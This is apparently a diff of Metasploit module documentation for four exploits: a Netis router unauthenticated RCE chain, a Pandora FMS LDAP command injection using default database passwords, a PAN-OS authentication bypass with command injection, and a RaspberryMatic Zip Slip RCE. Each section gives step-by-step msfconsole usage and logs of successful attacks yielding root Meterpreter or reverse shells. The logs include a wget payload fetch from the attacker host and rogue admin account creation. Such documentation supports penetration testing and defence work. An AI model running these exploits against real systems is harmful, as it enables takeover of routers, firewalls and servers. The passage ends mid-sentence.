- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=Linux Dropper>`
|
||||
- [x] `exploit`
|
||||
|
||||
you should get a `Meterpreter` session.
|
||||
|
||||
```msf
|
||||
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info
|
||||
|
||||
Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).
|
||||
Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457
|
||||
Platform: Linux
|
||||
Arch: mipsle
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2024-12-27
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Linux Dropper
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.254 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
|
||||
s/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The Netis router endpoint URL
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the
|
||||
local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 1981 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection
|
||||
vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details).
|
||||
The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the
|
||||
router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter,
|
||||
encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to
|
||||
command execution, potentially allowing the attacker to take full control of the router.
|
||||
An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated
|
||||
attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE.
|
||||
|
||||
Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration
|
||||
information of the router which can be used by the attacker to determine if the router is running specific vulnerable
|
||||
firmware.
|
||||
|
||||
The following router firmware versions are vulnerable:
|
||||
* netis_MW5360_V1.0.1.3031_fw.bin
|
||||
* Netis_MW5360-1.0.1.3442.bin
|
||||
* Netis_MW5360_RUSSIA_844.bin
|
||||
* netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
|
||||
* netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
|
||||
* netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
|
||||
* Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
|
||||
* netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
|
||||
* netis_NC65_V3.0.0.3749.bin
|
||||
* Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
|
||||
* Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
|
||||
* netis_NX10_V2.0.1.3582_fw.bin
|
||||
* netis_NX10_V2.0.1.3643.bin
|
||||
* Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
|
||||
* netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
|
||||
* netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
|
||||
* netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
|
||||
* Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
|
||||
* GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
|
||||
* potentially others...
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-48455
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-48456
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-48457
|
||||
https://github.com/users/h00die-gr3y/projects/1
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
## Options
|
||||
### CMD_DELAY
|
||||
Chained command lines using `;` do not work, so each command need to be executed in a separate request
|
||||
with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option.
|
||||
|
||||
## Scenarios
|
||||
### GLCtec ALPHA-AC3 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp
|
||||
```msf
|
||||
msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.1.253:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.1.254:80 can be exploited.
|
||||
[+] The target appears to be vulnerable. GLC(ALPHA-AC3)-V3.0.2.115
|
||||
[*] Resetting router password for authentication.
|
||||
[*] Logging in with the new router password 4vNcez42D to get the password cookie.
|
||||
[*] Saving router credentials (root) at the msf database.
|
||||
[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp
|
||||
[*] Using URL: http://192.168.1.253:1981/ZhIplAe6jD9O7J
|
||||
[*] Executing wget -qO /tmp/hMvelDeE http://192.168.1.253:1981/ZhIplAe6jD9O7J
|
||||
[*] Client 192.168.1.254 (Wget) requested /ZhIplAe6jD9O7J
|
||||
[*] Sending payload to 192.168.1.254 (Wget)
|
||||
[*] Command Stager progress - 53.85% done (63/117 bytes)
|
||||
[*] Executing chmod +x /tmp/hMvelDeE
|
||||
[*] Command Stager progress - 72.65% done (85/117 bytes)
|
||||
[*] Executing /tmp/hMvelDeE
|
||||
[+] Deleted /tmp/hMvelDeE
|
||||
[*] Meterpreter session 7 opened (192.168.1.253:4444 -> 192.168.1.254:54551) at 2024-12-29 11:28:49 +0000
|
||||
[*] Command Stager progress - 83.76% done (98/117 bytes)
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.254
|
||||
OS : (Linux 3.10.90)
|
||||
Architecture : mips
|
||||
BuildTuple : mipsel-linux-muslsf
|
||||
Meterpreter : mipsle/linux
|
||||
meterpreter > pwd
|
||||
/etc/boa
|
||||
meterpreter > ls
|
||||
Listing: /etc/boa
|
||||
=================
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf
|
||||
100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
## Limitations
|
||||
Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target.
|
||||
Another limitation is that the router has a very limited command set that can be leveraged,
|
||||
so the only option is to use the `wget` command to drop an executable on the target to get a session.
|
||||
Chained command lines using `;` do not work, so each command need to be executed in a separate request
|
||||
with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option).
|
||||
|
||||
Last but not least, be mindful that the admin router password gets overwritten by the exploit,
|
||||
resulting in a clear indicator of compromise.
|
||||
@@ -0,0 +1,210 @@
|
||||
## Vulnerable Application
|
||||
Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
|
||||
This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS.
|
||||
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
|
||||
This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker
|
||||
to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the
|
||||
Pandora FMS Web application.
|
||||
This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
|
||||
This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4`
|
||||
|
||||
The following releases were tested.
|
||||
|
||||
**Pandora FMS Releases:**
|
||||
* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
|
||||
* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
|
||||
* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)
|
||||
|
||||
## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
|
||||
* Install the iso image in your virtualization engine.
|
||||
* When installed, configure the VM appliance to your needs using the menu options.
|
||||
* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
|
||||
* or via the `webui` via `http://your_ip/pandora_console/index.php`.
|
||||
|
||||
* Note: from version `v7.0NG.760` follow the installation manual below:
|
||||
* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.
|
||||
|
||||
### PASSWORD
|
||||
This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.
|
||||
|
||||
### DB_USER
|
||||
This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.
|
||||
|
||||
### DB_PASSWORD
|
||||
This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
|
||||
Note: In older versions, this password is set to `pandora` during installation of the application.
|
||||
|
||||
### DB_PORT
|
||||
This option is required and is the MySQL database port (default: 3306) to connect to the database.
|
||||
|
||||
## Scenarios
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info
|
||||
|
||||
Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password
|
||||
Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320
|
||||
Platform: Unix, Linux, PHP
|
||||
Arch: cmd, php
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2024-11-21
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
Askar mhaskar
|
||||
|
||||
Module side effects:
|
||||
artifacts-on-disk
|
||||
ioc-in-logs
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 PHP Command
|
||||
1 Unix/Linux Command
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DB_NAME pandora yes Pandora database
|
||||
DB_PASSWORD Pandor4! yes Pandora database admin password
|
||||
DB_PORT 3306 yes MySQL database port
|
||||
DB_USER pandora yes Pandora database admin user
|
||||
PASSWORD pandora no Pandora web admin password
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
|
||||
g-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /pandora_console yes Path to the Pandora FMS application
|
||||
USERNAME admin no Pandora web admin user
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
Pandora FMS is a monitoring solution that provides full observability for your organization's
|
||||
technology. This module exploits an command injection vulnerability in the LDAP authentication
|
||||
mechanism of Pandora FMS.
|
||||
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
|
||||
This access can be achieved leveraging a default password vulnerability in Pandora FMS that
|
||||
allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
|
||||
administrative access to the Pandora FMS Web application. This attack can be remotely executed
|
||||
over the WAN as long as the MySQL services are exposed to the outside world.
|
||||
This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2024-11320
|
||||
https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/
|
||||
https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target
|
||||
Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx
|
||||
password => xxx
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6
|
||||
rhosts => 192.168.201.6
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
|
||||
[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
|
||||
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
|
||||
[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application.
|
||||
[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application.
|
||||
[*] Succesfully authenticated at the Pandora FMS Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing PHP Command for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000
|
||||
[+] Payload is successful removed from LDAP configuration.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : cuckoo
|
||||
OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > pwd
|
||||
/var/www/html/pandora_console
|
||||
meterpreter >
|
||||
```
|
||||
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
|
||||
to gain the privileges for the RCE.
|
||||
```msf
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora
|
||||
password => pandora
|
||||
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777
|
||||
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
|
||||
[*] Succesfully authenticated at the Pandora FMS Web application.
|
||||
[*] Saving admin credentials at the msf database.
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 29 opened (192.168.201.8:4444 -> 192.168.201.6:37616) at 2024-12-22 10:57:58 +0000
|
||||
[+] Payload is successful removed from LDAP configuration.
|
||||
|
||||
pwd
|
||||
/var/www/html/pandora_console
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
uname -a
|
||||
Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
## Limitations
|
||||
In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
|
||||
to the MySQL database with the default database credentials.
|
||||
This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
|
||||
You can check this with the SQL command below if you have local access to the database.
|
||||
```
|
||||
SELECT host FROM mysql.user WHERE user = "pandora";
|
||||
+-----------+
|
||||
| host |
|
||||
+-----------+
|
||||
| 127.0.0.1 |
|
||||
| localhost |
|
||||
+-----------+
|
||||
```
|
||||
In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.
|
||||
@@ -0,0 +1,113 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
|
||||
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
|
||||
execute arbitrary code with root privileges.
|
||||
|
||||
The following versions are affected:
|
||||
* PAN-OS 11.2 (up to and including 11.2.4-h1)
|
||||
* PAN-OS 11.1 (up to and including 11.1.5-h1)
|
||||
* PAN-OS 11.0 (up to and including 11.0.6-h1)
|
||||
* PAN-OS 10.2 (up to and including 10.2.12-h2)
|
||||
|
||||
## Testing
|
||||
Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example
|
||||
`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter
|
||||
will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup
|
||||
by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully
|
||||
run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed
|
||||
to change this upon logging in for the first time.
|
||||
|
||||
The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the
|
||||
payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`,
|
||||
and `cmd/unix/reverse_bash`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/panos_management_unauth_rce`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
|
||||
5. `set LHOST eth0`
|
||||
5. `set LPORT 4444`
|
||||
6. `check`
|
||||
7. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### WRITABLE_DIR
|
||||
The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the
|
||||
payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Default
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/panos_management_unauth_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/panos_management_unauth_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target.
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/panos_management_unauth_rce) > check
|
||||
[+] 192.168.86.100:443 - The target is vulnerable.
|
||||
msf6 exploit(linux/http/panos_management_unauth_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Uploading payload chunk 1 of 7...
|
||||
[*] Uploading payload chunk 2 of 7...
|
||||
[*] Uploading payload chunk 3 of 7...
|
||||
[*] Uploading payload chunk 4 of 7...
|
||||
[*] Uploading payload chunk 5 of 7...
|
||||
[*] Uploading payload chunk 6 of 7...
|
||||
[*] Uploading payload chunk 7 of 7...
|
||||
[*] Amalgamating payload chunks...
|
||||
[*] Executing payload...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.100
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.100
|
||||
OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within
|
||||
the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached through the URL
|
||||
`/pages/jpages/system/DeviceFirmware/addFirmware`.
|
||||
This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be automatically
|
||||
extracted without any further checks. As this entry can contain ../sequences, it is possible to break out of the predefined
|
||||
temp directory and write files to other locations outside this path.
|
||||
|
||||
This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files on the main
|
||||
filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in `/usr/local/addons/mediola/bin/`,
|
||||
which will be executed every five minutes through a cron job where attackers can gain remote code execution as root user,
|
||||
allowing a full system compromise.
|
||||
|
||||
RaspberryMatic versions <= `3.73.9.20240130` are vulnerable.
|
||||
|
||||
The following releases were tested.
|
||||
|
||||
**RaspberryMatic Releases:**
|
||||
* RaspberryMatic v3.73.9 (OVA image)
|
||||
* RaspberryMatic v3.65.8 (Raspberry Pi4 Model B image)
|
||||
|
||||
## Installation steps to install RaspberryMatic OVA image
|
||||
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
|
||||
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
|
||||
* Download [RaspberryMatic OVA](https://github.com/jens-maus/RaspberryMatic/releases/tag/3.73.9.20240130).
|
||||
* Install the OVA image in your virtualization engine.
|
||||
* When installed, configure the VM appliance to your needs using the menu options via the `webui`.
|
||||
* Boot up the VM and should be able to access the RaspberryMatic appliance via the `webui` via `http://your_ip/`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
No specific options defined.
|
||||
|
||||
## Scenarios
|
||||
### RaspberryMatic OVA appliance - Unix/Linux Command x64 target
|
||||
```msf
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.6
|
||||
rhosts => 192.168.201.6
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_SRVHOST 192.168.201.8
|
||||
FETCH_SRVHOST => 192.168.201.8
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set FETCH_WRITABLE_DIR /tmp
|
||||
FETCH_WRITABLE_DIR => /tmp
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.6:443 can be exploited.
|
||||
[+] The target appears to be vulnerable. RaspberryMatic 3.73.9
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[*] Uploading sT2s4fChKUZ.tgz
|
||||
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.201.6
|
||||
[*] Restoring original watchdog script.
|
||||
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:51220) at 2025-01-28 18:00:01 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.6
|
||||
OS : (Linux 6.1.74)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > pwd
|
||||
/root
|
||||
meterpreter >
|
||||
```
|
||||
### RaspberryMatic Pi4 Model B compute board - Unix/Linux Command aarch64 target
|
||||
```msf
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter_reverse_tcp
|
||||
payload => cmd/linux/http/aarch64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.10
|
||||
rhosts => 192.168.201.10
|
||||
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.10:443 can be exploited.
|
||||
[+] The target appears to be vulnerable. RaspberryMatic 3.65.8
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/aarch64/meterpreter_reverse_tcp
|
||||
[*] Uploading 8emVtVt6U.tgz
|
||||
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
|
||||
[*] Restoring original watchdog script.
|
||||
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.10:40324) at 2025-02-03 17:40:01 +0000
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.201.10
|
||||
OS : (Linux 5.15.56)
|
||||
Architecture : aarch64
|
||||
BuildTuple : aarch64-linux-musl
|
||||
Meterpreter : aarch64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > pwd
|
||||
/root
|
||||
meterpreter >
|
||||
```
|
||||
## Limitations
|
||||
You have to wait maximum five minutes for a session to allow `cron` to run the malicious watchdog script
|
||||
containing the payload. Just be patient and wait for the magic to happen ;-)
|
||||
Another limitation is that the root filesystem on RaspberyMatic image is mounted read-only, so you need to set the
|
||||
